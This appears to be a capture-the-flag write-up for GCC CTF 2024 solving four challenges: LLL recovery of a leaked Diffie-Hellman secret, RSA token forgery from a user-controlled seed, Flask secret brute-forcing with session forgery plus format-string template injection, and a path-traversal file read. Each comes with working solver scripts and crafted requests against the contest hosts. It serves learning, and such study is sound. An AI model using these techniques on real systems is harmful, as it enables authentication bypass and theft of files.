GCC CTF 2024 Write-up
Cryptography
Too Many Leaks
A Hidden Number Problem attack using LLL algorithm to recover Diffie-Hellman shared secret from the leak of its most significant bits.
(39 Solves, 397 Points)
The Problem
The following python script and output text files were given.
The problematic part of the code is shown below.
# What ?!
mask = ((1 << 256) - 1 << 256) + (1 << 255)
r1 = s & mask
print(f"{r1=}")
This is a masking operation which will reveal a certain part of the shared secret between Alice and Bob. The same masking is also applied to r2, which leaks a certain part of the shared secret between Alice and Charlie.
Secondly, with the way Charlie’s public key (AC) and shared secret (s2) is constructed, a mathematical correlation between the first shared secret (s) and the second shared secret (s2) can be derived.
AC = pow(g,a+c,p)
s2 = pow(AC,b,p)
Finally, combining the leak for both s2 and s, and the mathematical correlation between s2 and s, a Hidden Number Problem attack with LLL can be used to retrieve both shared secrets.
The Solution
r2 is the most significant 256 bits of s2 (leaving 255 bits to be recovered), while r1 is the most significant 255 bits of s is given (leaving 255 bits to be recovered). The interaction with charlie causes the following linear equation to be formed:
AC = pow(g,a+c,p)
AC = g^a * g^c mod p
s2 = pow(AC,b,p)
s2 = (g^(ab) * g^(bc)) mod p
s2 = s * g^(bc) mod p
s2 = s * B^c mod p
r2 + k2 = ( r1 + k1 ) * t mod p
We know r1, r2, and t, while k1 and k2 are small unknown. We can rearrange the equation to the following form, and then construct the following lattice basis to find k1 and k2 using LLL.
In this specific case, the linear equation and lattice basis would be as follow:
K is the upper bound for k1 and k2, which can be inferred from earlier that K = 2^255 From this lattice basis, LLL can be used to get the vector (k1,k2,K) that satisfy the corresponding linear equation.
Below is the solver script that can be used to perform LLL and retrieve the flag in sage. solver.sage
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
#Key in the value of B, c, p, r1, r2, ciphertext, and iv from chall.txt
t=pow(B,c,p)
t_inverse = inverse_mod(int(t),int(p))
K=2^255
M = Matrix(ZZ, [[p, 0, 0], [t_inverse, 1, 0], [r1-t_inverse*r2, 0, K]])
L = M.LLL()
#checking which vector has the k1 and k2 value that satisfy the linear equation
for i in range(L.nrows()):
s2 = r2 + abs(L[i][1])
s = r1 + abs(L[i][0])
if(s2%p == s*t%p):
break
sha1 = hashlib.sha1()
sha1.update(str(s).encode('ascii'))
key = sha1.digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, bytes.fromhex(iv))
print(unpad(cipher.decrypt(bytes.fromhex(ciphertext)), 16).decode())
Notice that the vector from L[0] does not give the value of k1 and k2 that satisfy the linear equation. That is why we move on to the next vector, L[1] which in fact, gives the right value for k1 and k2. A more detailed theoretical explanation can be found on section 6.2 in this paper by Gabrielle de Micheli and Nadia Heninger.
FLAG: GCC{D1ff13_H3llm4n_L34k_15_FUn!!}
GCC News
Reproducable private key due to user-controlled seed, leading to Access Token forgery
The Problem
The following python script was given.
The problematic part of the code is shown below.
def generate_key(username):
length = lambda x : len(bin(x)[2:])
s = bytes_to_long(username.encode())
random.seed(s)
The seed used to generate the modulus N was generated using username, which is user-controlled. This means attacker can replicate the seed generation and obtain the same modulus N.
The Solution
By using the same username used for logging in as the seed value, using the script below, the private key for username a and its subscriber token can be generated.
token-generator.py
import hashlib
import base64
import random
from Crypto.Util.number import bytes_to_long, isPrime
import math
def hash_string_sha256(message):
message_bytes = message.encode('utf-8')
sha256_hash = hashlib.sha256()
sha256_hash.update(message_bytes)
hashed_message = sha256_hash.digest()
return int.from_bytes(hashed_message, byteorder='big')
def generate_private_key(username):
length = lambda x : len(bin(x)[2:])
s = bytes_to_long(username.encode())
random.seed(s)
e = 0x1001
phi = 0
while math.gcd(phi,e) != 1:
n = 1
factors = []
while length(n) < 2048:
temp_n = random.getrandbits(48)
if isPrime(temp_n):
n *= temp_n
factors.append(temp_n)
phi = 1
for f in factors:
phi *= (f - 1)
d = pow(e, -1, phi)
return (n,d)
def generate_signature(message, private_key):
n, d = private_key
hashed_message = hash_string_sha256(message)
signature = pow(hashed_message, d, n)
return signature
msg = str({'a' : [True]})
private_key = generate_private_key('a')
signature = generate_signature(msg, private_key)
token = str(signature)
message = base64.b64encode(msg.encode()).decode()
print(token)
print(message)
Append the token and message value as query parameters to the /news endpoint, for example:
GET /news?token=411687187392232667280043351583240962509538124485599722468348536700421735151555946448379094652652625247399081658444636213682686696336913864975979564949711489929214627017199941463251823762554488189572696151893229658546387162901042311649171549787123697625171268915155821602967555177808630578485132095843219143851631448031736194135889218495277418635836302160784356004563722995322296770559351735102722802801233236178453915678233494327356578764296673537414652048395476834466127075458495967712163412744053414393231197339135496136001788925213347009899949480187786736688721140709009032619659863771005034307881023069696174005022&message=eydhJzogW1RydWVdfQ%3d%3d%3D HTTP/1.1
FLAG: GCC{f1x3d_533d_d154bl3_r4nd0mn355}
Web
Find The Compass
Weak key generation leading to login bypass via session cookie forgery. Server-side Template Injection (SSTI) leading to file reading
The Problem
The following zip file was given.
The key space from generate_key in utils.py is too small and bruteforceable. Once the correct key is obtained, a session cookie can be generated, which bypasses the login.
def generate_key() -> str:
"""Generate a random key for the Flask secret (I love Python!)"""
return (''.join([str(x) for x in [(int(x) ^ (int(time()) % 2 ^ randint(0, 2))) for x in [int(char) for char in str(digits[randint(0, 9)]) * 4]]])).rjust(8, '0')
This part of the code indicates an SSTI vulnerability, because the author and content value is user-controlled, and the htmlTemplate string is being processed with .format(self=self.
class Renderer(object):
"""
Proof of Concept to one day get rid of Jinja2. Who needs Jinja2 ?
"""
def __init__(self, coordinates: str):
# Only a wise administrator can retrieve the coordinates of the compass.
self.coordinates = coordinates
def render(self, author, content):
author = escape(author)
content = escape(content)
htmlTemplate = f"<p><strong>{author}</strong>: {content}</p>"
try:
#Use escape for XSS protection
return (htmlTemplate.format(self=self))
except Exception as e:
print(e)
return "An error occured while rendering the reminder."
The Solution
Note that the generate_key function will generate random integers from 0 to 9, 4 times. Each randomization result will then be XOR-ed with (int(time()) % 2 (possible value of 0 and 1) randint(0, 2) and (possible value of 0, 1, and 2). This means, the final result of each XOR operations is only between 0 to 11.
Below is the script to generate all possible keys and store it in a text file.
possible_digits = [0,1,2,3,4,5,6,7,8,9,10,11]
simulated_keys = set()
def simulate_key_generation():
for a in possible_digits:
for b in possible_digits:
for c in possible_digits:
for d in possible_digits:
simulated_keys.add((str(a)+str(b)+str(c)+str(d)).rjust(8, '0'))
return simulated_keys
possible_keys = simulate_key_generation()
with open("possible_keys.txt", 'w') as file:
for key in possible_keys:
file.write(key + '\n')
Afterwards, flask-unsign can be used to go through the key candidates by checking whether a key can be used to unsign a given cookie. In this case, a session cookie which was retrieved from the HTTP Response was used.
flask-unsign --unsign --cookie ".eJwNzLkNgDAMAMBdXFPwxE5gGeQvERIKRUKF2B1ugHvgvEpx248KW-az-QD1quqwAS1RLcXZRaJgZkYjCqqEwURUIq0mbmKsYRqzIk3kmVNaZ8TRDAZonfvd_qvc3jq8H8AAIu8.ZeNacQ.IUzAGsrvOpVX3adTsaWkW5Vcn5Q" --wordlist possible_keys.txt --no-literal-eval
[*] Session decodes to: {'logged_in': False, 'nonce': '637cd872ebb7b5faa5d664cc654dbbcb769dbedbdac410fc5616efa8892550dd', 'status': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 3840 attempts
b'01111118'
Once the key is obtained, a simple HTTP server with a modified logic to generate a forged session cookie can be setup. The respone from this HTTTP server will generate a forged session cookie, where logged_in is set to True and status is set to admin, which can be used to bypass login.
from flask import Flask, session
app = Flask(__name__)
app.config['SECRET_KEY'] = '01111118' #Change with your own key from flask-unsign
@app.route('/')
def index():
session['logged_in'] = True
session['status'] = 'admin'
session['username'] = 'admin'
print(session)
return "Session cookie created!"
if __name__ == '__main__':
app.run(debug=True)
After succesful access to /reminder, the next objective is to exploit SSTI to read flag.txt.
The following request will trigger the SSTI.
POST /reminder HTTP/1.1
Host: worker02.gcc-ctf.com:12006
Content-Length: 41
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://worker02.gcc-ctf.com:12006
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=.eJw9zTEOwyAMQNG7eGYABDbkMhXYJqrUECnAVPXuydT1D-9_4XPuu8rr3WGb11ID_eyssIHlUFmQglaHKOysi0TBl5Q5K2FL1kml5q1FpkY15sBemg8YYkkEBsYsc43HKnI8AwNr6NXLof_0uwHqiCcC.ZeNohw.xvKSfagcEPwTsMF4XJQ2IOrQByk
Connection: close
{"reminder_content":"{self.coordinates}"}
The return value will be "<p><strong>Cylabus</strong>: {self.coordinates}</p>".format(self=self). The self.coordinates will be evaluated which results in reading flag.txt. The flag will be displayed when accessing /panel
FLAG: GCC{iThink_we_Sh0ul_sT1cK_t0_Jinj4_and_4v0id_w3ak_KEYS!}
frenzy flask
Missing path checking on GET request to retrieve uploaded file causes Local File Inclusion (LFI)
The Problem
The following zip file was given.
There is path checking function in shared.py.
def check_path(path: str):
return ".." not in path
However, this path checking function is only called when uploading a file (POST). The absence of path checking when getting a file can be exploited to retrieve the flag via path traversal.
@bp_api.route("/notes/<path:sessid>", methods=["GET", "POST"])
def list_notes(sessid):
session_dir = abort_check_session(sessid)
if request.method == "POST":
for uploaded_file in request.files:
abort_check_path(uploaded_file)
upload_path = session_dir.joinpath(uploaded_file)
try:
request.files[uploaded_file].save(upload_path)
except OSError:
abort(500)
files_list = [str(p.name) for p in session_dir.glob("*")]
return json.jsonify(files_list)
The Solution
GET /api/notes/f900db07-da3c-491f-b35c-f1f9a3645f0f/../../../../home/user/flag.txt HTTP/1.1
FLAG: GCC{7h3_p47h_7r4v3r541_7r1ck_3v3n_w0rk5_1n_Ru57-e5e1248d41965126a6caea7b4ddd460cd8c5443a}